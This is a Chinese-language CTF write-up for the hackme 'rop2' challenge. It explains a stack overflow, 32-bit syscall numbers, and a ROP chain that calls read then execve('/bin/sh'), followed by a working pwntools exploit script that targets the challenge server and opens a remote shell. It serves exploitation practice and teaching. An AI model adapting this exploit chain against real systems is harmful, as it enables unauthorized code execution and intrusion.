hackme pwn rop2 [syscall + rop]

先checksec一下:

有個大概思路:rop過NX

main中和overflow函數裏都有syscall函數,如下:

觀察到這裏有緩衝區溢出!"A" * 0xC!

先來學習syscall函數:

syscall(int arg1, ……),爲可變參數的函數,第一個參數爲系統調用號,用以下命令查詢:

cat -n /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep "__NR_"
     4	#define __NR_restart_syscall 0
     5	#define __NR_exit 1
     6	#define __NR_fork 2
     7	#define __NR_read 3
     8	#define __NR_write 4
     9	#define __NR_open 5
    10	#define __NR_close 6
    11	#define __NR_waitpid 7
    12	#define __NR_creat 8
    13	#define __NR_link 9
    14	#define __NR_unlink 10
    15	#define __NR_execve 11
    16	#define __NR_chdir 12
    17	#define __NR_time 13
……

拿__NR_read 3舉例,表示ID = 3時,調用的是read函數

SYSCALL_DEFINE3(read, unsigned int fd, char* buf, size_t count)

fd爲系統描述符,fd=0時表示標準輸入,從鍵盤輸入讀取,buf爲緩衝區,count爲長度

拿__NR_write 4舉例,表示ID = 4時,調用的是write函數(和read類似)

_syscall3(int write,int fd,const char * buf,off_t count)

我們看到,execve函數的ID爲11,當執行execve(“/bin//sh”,NULL,NULL)即成功。

所以,我們的目標是:

(1)將"/bin/sh"寫入

(2)利用syscall,調用ID=11的execve

所以gadgets鏈表爲:syscall(3, bss, 0, 8) - syscall(11, bss, 0, 0),然後在輸入"/bin/sh"

細節1:

找gadgets是在函數__libc_csu_init中,需要幾個參數就從第幾個開始

細節2:

當發現程序沒有開啓PIE時,需要哪些地址的值,都是可以在IDA中扣出來這些地址滴

#!/usr/bin/env python
# coding=utf-8

from pwn import *

#io = process("./rop2")
io = remote("hackme.inndy.tw", 7703)

p4r = 0x08048578
syscall_addr = 0x08048320
bss_addr = 0x0804A020

#elf = ELF("./rop2")
#syscall_addr = elf.symbols["syscall"]
#bss_addr = elf.bss()

io.recvuntil("ropchain:")
payload = "A" * 0xC + "B" * 4
payload += p32(syscall_addr) + p32(p4r) + p32(3) + p32(0) + p32(bss_addr) + p32(8)
payload += p32(syscall_addr) + p32(0xABCD) + p32(11) + p32(bss_addr) + p32(0) + p32(0)

#payload = fit({0xC+0x4: [p32(syscall_addr), p32(p4r), p32(3), p32(0), p32(bss_addr), p32(8)]})
#payload += fit({0x0, [p32(syscall_addr), p32(0xABCD), p32(11), p32(bss_addr), p32(0), p32(0)]})

io.sendline(payload)
sleep(1)
io.sendline("/bin/sh\x00")
io.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章